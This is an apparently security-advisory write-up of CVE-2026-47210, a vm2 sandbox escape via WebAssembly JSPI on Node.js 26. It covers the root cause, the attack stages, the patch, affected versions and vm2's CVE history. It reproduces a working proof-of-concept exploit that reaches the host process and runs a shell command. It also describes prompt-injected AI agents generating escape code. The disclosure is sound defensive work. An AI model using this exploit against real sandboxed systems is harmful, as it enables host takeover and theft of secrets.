Introduction
A new WebAssembly API surface that vm2 never anticipated has opened yet another path to full host process compromise from within the sandbox. CVE-2026-47210, carrying a CVSS 9.8 critical rating, exploits WebAssembly JavaScript Promise Integration (JSPI) on Node.js 26 to bypass vm2's Promise species hardening and achieve arbitrary command execution on the host.
vm2 is an open source Node.js sandbox library used to execute untrusted JavaScript in an isolated environment. Despite being officially deprecated in 2023, it maintains over 1.17 million weekly npm downloads and 885 direct dependents on npm. Its continued widespread use in production environments, including AI agent frameworks and SaaS automation platforms, makes vulnerabilities in vm2 a significant concern for the broader Node.js ecosystem.
Technical Information
Vulnerability Classification
CVE-2026-47210 is classified under CWE-913: Improper Control of Dynamically Managed Code Resources. CWE-913 applies when a product fails to properly restrict reading from or writing to dynamically managed code resources such as variables, objects, classes, attributes, functions, or executable statements. In this case, vm2 failed to control the dynamically exposed WebAssembly JSPI API surface within the sandbox, allowing attacker controlled code to reach host originated objects.
The CVSS v3.1 vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, yielding a base score of 9.8 (Critical):
| CVSS v3.1 Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
Root Cause: JSPI Backed Promises Bypass Bridge Interposition
The WebAssembly JavaScript Promise Integration (JSPI) API bridges synchronous WebAssembly applications with asynchronous JavaScript APIs by suspending and resuming WebAssembly execution around Promise resolution. On Node.js 26, the JSPI APIs (WebAssembly.promising and WebAssembly.Suspending) are enabled by default.
vm2's sandbox security model relies on two defensive layers for Promise objects: sandbox side overrides of .then/.catch/.finally, and bridge proxy apply trap callback wrapping. Every sandbox visible Promise was expected to fall into one of two safe categories: (a) a sandbox realm Promise with globalPromise.prototype in its chain, or (b) a bridge proxied host realm Promise.
JSPI introduced a third, unanticipated category. A Promise created via WebAssembly.promising(...) has its [[Prototype]] chain pointing directly at the host realm's Promise.prototype without a bridge proxy. This violates what the patch commit calls Defense Invariant #12: "no sandbox visible object may have a host realm prototype chain without bridge interposition." Neither of vm2's two defense layers could intercept operations on this third class of Promise.
Attack Flow
The exploitation chain proceeds through four stages:
Stage 1: JSPI Promise Creation. The attacker compiles a minimal WebAssembly module that imports a WebAssembly.Suspending function, then wraps its export with WebAssembly.promising(). This produces a Promise object whose [[Prototype]] chain points directly to the host realm's Promise.prototype, bypassing vm2's sandbox side overrides and bridge proxy interception.
Stage 2: Promise Species Hardening Bypass. The JSPI backed Promise reaches Promise.prototype.finally() on the host prototype, which vm2's Promise species hardening did not anticipate. The .finally() method invokes the Promise's Symbol.species constructor. Because the host originated rejection object is exposed to attacker controlled species logic, the attacker can redirect construction through a custom class.
Stage 3: Host Process Access. Inside the attacker controlled species constructor, the rejection object's constructor.constructor('return process')() expression reaches the host process global, completely breaking the sandbox boundary.
Stage 4: Arbitrary Code Execution. With access to process.mainModule.require('child_process'), the attacker can execute arbitrary OS commands on the host, read and write files, and exfiltrate secrets.
AI Agent Attack Surface
Microsoft's May 2026 research report, "When Prompts Become Shells," demonstrates that prompt injection in AI agent frameworks can chain with vm2 sandbox escapes to achieve host level RCE. In this scenario, an LLM generates malicious JavaScript in response to a crafted prompt, and that JavaScript escapes the vm2 sandbox to execute on the host. This directly amplifies the real world impact of CVE-2026-47210 for organizations using vm2 in AI agent, plugin, or code execution contexts.
Proof of Concept
A fully functional public PoC is available from the official GitHub Security Advisory (GHSA-6j2x-vhqr-qr7q) and reproduced on the Endor Labs vulnerability page. The PoC targets Node.js 26 (or any runtime with JSPI enabled).
The exploit compiles a minimal WebAssembly binary inline, wraps an export with WebAssembly.promising(), defines a custom species class F whose constructor captures the rejection object and calls e.constructor.constructor('return process')() to reach the host process, then triggers the chain via Object.defineProperty on the Promise's constructor and a .finally() call:
const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` (()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{ let P=e.constructor.constructor('return process')() P.mainModule.require('child_process').execSync('touch pwned'); this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})() `));
Successful exploitation creates a file named pwned on the host filesystem via child_process.execSync('touch pwned'), demonstrating full host process command execution from within the vm2 sandbox.
The inline WASM bytecode defines a minimal module that imports a Suspending function and exports a run function, which is then promoted to a JSPI export via WebAssembly.promising(). The resulting promise object is the vehicle for the species bypass. When the JSPI promise rejects with a host realm TypeError, the raw host error object is passed into the attacker's reject callback, and the attacker traverses e.constructor.constructor('return process')() to obtain the host process object.
A comprehensive regression test suite is also available in the vm2 repository at test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js, which includes the canonical PoC alongside variant tests confirming the fix.
Patch Information
The patch for CVE-2026-47210 was authored by Patrik Simek and committed on May 17, 2026 (SHA 6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6). The fix shipped in vm2 version 3.11.4, published the following day.
The core of the fix lives in a single file, lib/setup-sandbox.js, and is surgically scoped. It removes the two JSPI constructors from the sandbox environment during bootstrap, eliminating the only known mechanism for creating Promise objects with unproxied host realm prototype chains:
if (typeof WebAssembly !== 'undefined') { if (typeof WebAssembly.promising !== 'undefined') { localReflectDeleteProperty(WebAssembly, 'promising'); } if (typeof WebAssembly.Suspending !== 'undefined') { localReflectDeleteProperty(WebAssembly, 'Suspending'); } }
The exploit requires both halves of the JSPI API to function: WebAssembly.Suspending is needed to create a suspending import (a JS function that the wasm module can call in a way that produces a JSPI promise), and WebAssembly.promising is needed to promote a wasm export into a function whose return value is the special cross realm prototype Promise. Removing either constructor kills the attack chain on its own, but the patch removes both as a belt and suspenders measure.
The typeof guards ensure backward compatibility. On Node.js versions prior to 26 (where JSPI does not exist) and on Node 24 through 25 without the --experimental-wasm-jspi flag, these properties are simply undefined, so the guards make the removal a silent no op. On Node 26+ where JSPI is enabled by default, localReflectDeleteProperty strips the constructors at sandbox bootstrap before any user code runs.
The use of localReflectDeleteProperty rather than the delete operator is deliberate: this is a cached reference to the host's Reflect.deleteProperty, which avoids invoking any sandbox installed traps or prototype chain overrides on the WebAssembly object.
The commit touched four files in total (375 additions, 1 deletion): the core fix in lib/setup-sandbox.js, a changelog entry in CHANGELOG.md, extensive attack surface documentation in docs/ATTACKS.md (Category 33, Compound Attack Pattern 25, and updates to the "How The Bridge Defends" table), and a full regression test suite in test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js that verifies both constructors are deleted, the canonical PoC is blocked, and that vanilla WebAssembly.instantiate still works (guarding against over broad removal).
Affected Systems and Versions
All versions of vm2 up to and including 3.11.3 are affected. The vulnerability is patched in version 3.11.4.
The vulnerability is specific to runtimes that expose the WebAssembly JSPI API surface. This is confirmed on Node.js 26, where WebAssembly.promising and WebAssembly.Suspending are enabled by default. On older Node.js versions where these APIs do not exist, the specific JSPI attack vector cannot be initiated.
However, organizations running vm2 on any Node.js version remain vulnerable to the many other sandbox escape CVEs disclosed in 2026 that do not depend on JSPI.
Vendor Security History
vm2 has a well documented and persistent history of sandbox escape vulnerabilities:
| Period | CVE Examples | Key Mechanism |
|---|---|---|
| 2023 | CVE-2023-30547, CVE-2023-37466 | Exception sanitization bypass; project deprecated |
| 2024 | Exploit DB 51898 | Multiple local sandbox escape exploits |
| Early 2026 (Jan) | CVE-2026-22709 | Promise callback bypass (CVSS 9.8) |
| Mid 2026 (May) | CVE-2026-24781, CVE-2026-43997 through CVE-2026-44009, CVE-2026-47210 | Inspect function breakout, prototype mutation, JSPI species bypass |
Kodem Security documents at least 15 vm2 sandbox escape CVEs disclosed in 2026 alone: CVE-2026-22709, CVE-2026-24118, CVE-2026-24120, CVE-2026-24781, CVE-2026-26332, CVE-2026-26956, CVE-2026-43997, CVE-2026-43999, CVE-2026-44005, CVE-2026-44006, CVE-2026-44007, CVE-2026-44008, CVE-2026-44009, CVE-2026-25881, and CVE-2026-47210.
The v3.11.4 release alone closed ten security advisories. While this reflects the maintainer's continued responsiveness, it also underscores the persistent architectural fragility of the sandbox boundary. The project's official deprecation notice from 2023 remains in effect: "The library contains critical security issues and should not be used for production! The maintenance of the project has been discontinued."
References
- NVD: CVE-2026-47210
- CVE Record: CVE-2026-47210
- GitHub Advisory: GHSA-6j2x-vhqr-qr7q
- GitHub Security Advisory: patriksimek/vm2
- Patch Commit: 6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6
- Release v3.11.4
- OSV: GHSA-6j2x-vhqr-qr7q
- Endor Labs: CVE-2026-47210
- Endor Labs: Critical Sandbox Escape in vm2 Enables RCE
- Kodem Security: vm2 Sandbox Escape, AI Agent RCE Risk and IOCs
- GitLab Advisory: CVE-2026-47210
- GitHub API Advisory: GHSA-6j2x-vhqr-qr7q
- vm2 Regression Test: repro.js
- GitHub API: Patch Commit
- Socket: Free Certified Patches for Critical vm2 Sandbox Escape
- Microsoft: When Prompts Become Shells
- Semgrep: Calling Back to vm2 and Escaping Sandbox
- BleepingComputer: Critical vm2 Sandbox Bug
- V8 Blog: Introducing the WebAssembly JavaScript Promise Integration API
- npm: vm2
- CWE-913: Improper Control of Dynamically Managed Code Resources



